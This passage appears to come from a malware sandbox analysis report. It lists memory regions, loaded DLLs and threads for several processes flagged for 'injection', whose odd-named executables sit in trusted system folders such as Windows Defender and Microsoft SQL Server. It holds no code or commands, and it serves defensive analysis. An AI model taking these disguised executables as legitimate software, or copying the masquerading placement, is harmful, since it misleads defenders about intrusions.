"\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 3185 start_va = 0xa70000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 3186 start_va = 0x1f90000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 3187 start_va = 0x2060000 end_va = 0x2396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 183 os_tid = 0xdac Thread: id = 184 os_tid = 0xd58 Thread: id = 351 os_tid = 0xc60 Process: id = "21" image_name = "big.exe" filename = "c:\\program files\\windows defender\\big.exe" page_root = "0x73ca9000" os_pid = "0xd74" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Defender\\big.exe\" " cur_dir = "C:\\Program Files\\Windows Defender\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3246 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3247 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3248 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3249 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3250 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3251 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3252 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3253 start_va = 0xc0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3254 start_va = 0xd0000 end_va = 0x18dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3255 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3256 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3257 start_va = 0x1b0000 end_va = 0x1c6fff monitored = 0 entry_point = 0x1b14a1 region_type = mapped_file name = "big.exe" filename = "\\Program Files\\Windows Defender\\big.exe" (normalized: "c:\\program files\\windows defender\\big.exe") Region: id = 3258 start_va = 0x1d0000 end_va = 0x1d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 3259 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3260 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3261 start_va = 0x660000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3262 start_va = 0x760000 end_va = 0x8e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 3263 start_va = 0x8f0000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 3264 start_va = 0xa80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3265 start_va = 0x1ee0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 3266 start_va = 0x1ef0000 end_va = 0x1fabfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 3267 start_va = 0x20d0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 3268 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3269 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3270 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3271 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3272 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3273 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3274 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3275 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3276 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3277 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3278 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3279 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3280 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3281 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3282 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3283 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3284 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3285 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3286 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3287 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3288 start_va = 0x7eea0000 end_va = 0x7ef9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eea0000" filename = "" Region: id = 3289 start_va = 0x7efa0000 end_va = 0x7efc2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efa0000" filename = "" Region: id = 3290 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3291 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3292 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3293 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3294 start_va = 0x1e0000 end_va = 0x1e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3295 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3296 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3297 start_va = 0x500000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3298 start_va = 0x540000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3299 start_va = 0x640000 end_va = 0x640fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 3300 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 3301 start_va = 0x650000 end_va = 0x650fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3302 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 3303 start_va = 0x20e0000 end_va = 0x2416fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 185 os_tid = 0xda8 Thread: id = 186 os_tid = 0xd78 Thread: id = 353 os_tid = 0xc58 Process: id = "22" image_name = "player_pay_half.exe" filename = "c:\\program files\\microsoft sql server\\player_pay_half.exe" page_root = "0x46905000" os_pid = "0xde8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft SQL Server\\player_pay_half.exe\" " cur_dir = "C:\\Program Files\\Microsoft SQL Server\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5581 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5582 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5583 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5584 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5585 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5586 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5587 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5588 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5589 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5590 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5591 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5592 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 5593 start_va = 0x610000 end_va = 0x797fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 5594 start_va = 0x8c0000 end_va = 0x8c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 5595 start_va = 0x8d0000 end_va = 0x8d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 5596 start_va = 0x8e0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 5597 start_va = 0x9e0000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 5598 start_va = 0xb90000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 5599 start_va = 0xba0000 end_va = 0xc5bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 5600 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 5601 start_va = 0xd80000 end_va = 0xd96fff monitored = 0 entry_point = 0xd814a1 region_type = mapped_file name = "player_pay_half.exe" filename = "\\Program Files\\Microsoft SQL Server\\player_pay_half.exe" (normalized: "c:\\program files\\microsoft sql server\\player_pay_half.exe") Region: id = 5602 start_va = 0xda0000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 5603 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5604 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5605 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5606 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5607 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5608 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5609 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5610 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5611 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5612 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5613 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5614 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5615 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5616 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5617 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5618 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5619 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5620 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5621 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5622 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5623 start_va = 0x7e930000 end_va = 0x7ea2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e930000" filename = "" Region: id = 5624 start_va = 0x7ea30000 end_va = 0x7ea52fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ea30000" filename = "" Region: id = 5625 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5626 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5627 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5628 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5629 start_va = 0xb70000 end_va = 0xb73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 5630 start_va = 0xb80000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 5631 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5632 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5633 start_va = 0x510000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 5634 start_va = 0xc60000 end_va = 0xc60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 5635 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5636 start_va = 0xc70000 end_va = 0xc70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 5637 start_va = 0xc70000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 5638 start_va = 0x21a0000 end_va = 0x24d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 187 os_tid = 0xdf4 Thread: id = 188 os_tid = 0xdec Thread: id = 391 os_tid = 0xc7c Process: id = "23" image_name = "privateperformborn.exe" filename = "c:\\program files\\windows nt\\privateperformborn.exe" page_root = "0x6aa0f000" os_pid = "0xdf8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows NT\\privateperformborn.exe\" " cur_dir = "C:\\Program Files\\Windows NT\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5523 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5524 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5525 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5526 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5527 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5528 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5529 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5530 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5531 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5532 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5533 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5534 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 5535 start_va = 0x630000 end_va = 0x7b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 5536 start_va = 0x850000 end_va = 0x853fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 5537 start_va = 0x860000 end_va = 0x863fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 5538 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 5539 start_va = 0x8d0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 5540 start_va = 